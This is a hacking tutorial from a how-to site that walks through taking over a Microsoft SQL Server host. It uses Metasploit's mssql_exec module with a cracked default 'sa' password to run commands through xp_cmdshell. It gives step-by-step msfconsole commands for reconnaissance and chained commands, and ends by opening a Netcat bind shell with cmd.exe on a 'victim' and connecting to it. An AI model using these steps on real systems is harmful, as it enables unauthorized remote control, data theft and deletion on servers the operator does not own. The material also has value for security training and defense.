How to Hack Databases: Running CMD Commands from an Online MS SQL Server « Null Byte :: WonderHowTo

Welcome back, my hacker novitiates!There aremany ways to hack databases, and most of these techniques require SQL injection (SQLi), which is a way of sending SQL commands back to the database from a web form or other input. In this tutorial, we will use SQL injection to get access to the underlying server. So instead of getting access to the database and its data, we will use the database as an intermediary to gain access to the underlying server.Nearly all commercial databases—MS SQL Server, Oracle, MySQL, DB2, etc.—have built-in system stored procedures (SP). This is code provided by the developer to help the system administrator get common tasks done.Often, the system admin of a database will need access to the underlying server, so Microsoft provides an SP calledxp_cmdshellon their SQL Server. When the system admin executes this SP, they get a command prompt on the underlying server that is hosting the database.This SP was once enabled by default on all Microsoft SQL Server installations, but because it was exploited by hackers so often, Microsoft had disabled it by default—but we can still access it and wreak havoc!Of course, to access this SP remotely, we will need the login credentials of the system admin. By default, Microsoft packages their SQL Server with a system administrator account named "sa" and few system admins change it. You can use a tool suchSQLdictorMetasploit's own auxiliary module,sql_login, to gain the sa password and use it in this hack.If we can execute CMD commands on the victim system, we cannot only runreconnaissanceon it, but we can also own it with enough knowledge of the system and knowledge of Windows commands.Step 1: Open a TerminalTo start, as usual, fire upKaliand open a terminal.Step 2: Open MetasploitLet's start the Metasploit console by typing:kali > msfconsoleThis should open a console that looks similar to this.Step 3: Load the Auxiliary ModuleNow, we need to load themsql_execauxiliary module.msf > use auxiliary/admin/mssql/mssql_execNow that we have loaded the module, let's take a look at the info page for it. Type:msf > infoAs you can see below, we have several key variables we have to set including CMD, RHOST, and PASSWORD.In this case, I set the RHOST to the IP of the database server, the PASSWORD to the "sa" account password that Icrackedearlier (nullbyte), and command I want to run on the command shell on the server, in this case, 'dir' to get a directory listing. Make certain that the command is between single quotation marks.When these variables have been set, simply type "run."msf > runThis module will access thexp_cmdshellstored procedure, even though it is disabled, and return the results of the command.As you can see, this command has been sent to thexp_cmdshelland executed thediron the underlying server. The output is a directory listing from theC:\WINDOWS\system32directory.Step 4: Use the SP for ReconnaissanceTo do a bit of reconnaissance on this server, we could send a "netstat" to the server to see all the connections to the system.msf > set CMD 'netstat'msf > runStep 5: Send Multiple CommandsSending single commands is all well and good, but there is not a lot of significant actions we can do with a single command with the exception of maybe a file deletion (del). We can send multiple commands by simply putting "&" in-between the commands, such as:msf > set CMD 'cd \ & dir'Now, when we run this module, it should change directories to the root directory on the Windows machine (C:) and then do a directory listing.As you can imagine, we could travel throughout the directory structure in this way to find confidential or critical information and read or delete it.Step 6: Run a Hidden Exe. FileYou might have noticed that the system admin on the server has aNetcatexecutable in the root directory. They probably left it there for remote administration or other tasks. Now that we know it is there, we can run it from this module.msf > set CMD 'cd \ & nc -L -p6996 -e cmd.exe'This will change directory to the root directory where the Netcat resides and then open a Netcat listener (-L) on port 6996 (-p6996) and push a command shell through the listener. Let's try it.It looks like it executed successfully. Now, let's try to connect to the listener withNetcaton our Kali system.msf > ns 192.168.181.105 6996Success! We now have command prompt on the remote system and we own it!It's important to note that a knowledge of command line commands is key to being successful in this type of hack. Most of our tutorials here have focused onLinuxcommands, but Windows can be run successfully from the command line as well, especially withPowerShell. To do so, you need to know these commands in Windows as well as Linux. Even the registry can be altered from the command line!I'll do a short tutorial in the near future on running Windows from the command line that should be helpful in this type of hack. So keep coming back, my hacker novitiates, as we explore the tools and techniques of the world's most valuable skill set—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Databases:Hunting for Microsoft's SQL ServerSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use SQL Injection to Run OS Commands & Get a ShellHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:SQL Injection! -- Detailed Introduction.Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Enumerate MySQL Databases with MetasploitSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Hack a Microsoft SQL ServerHow To:Gather Information on PostgreSQL Databases with MetasploitHow To:Hack websites with SQL injectionHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Coding with Typo:Structured Query Language (SQL) Part 1: What Is SQL?How To:Attach or detach a database in SQL Server 2005 ExpressHow To:Grab All the PasswordsSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfSQL Injection 101:How to Avoid Detection & Bypass DefensesHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1How To:Successfully Hack a Website in 2016!How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHack Logs and Linux Commands:What's Going On Here?How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:PostgreSQL Quick StartGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Recover WinRAR and Zip PasswordsHow To:Hack Wireless Router Passwords & Networks Using HydraGoogle Dorking:AmIDoinItRite?Goodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Protect Your PHP Website from SQL Injection HacksIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:The server timeHow To:Enable full-text search in an SQL database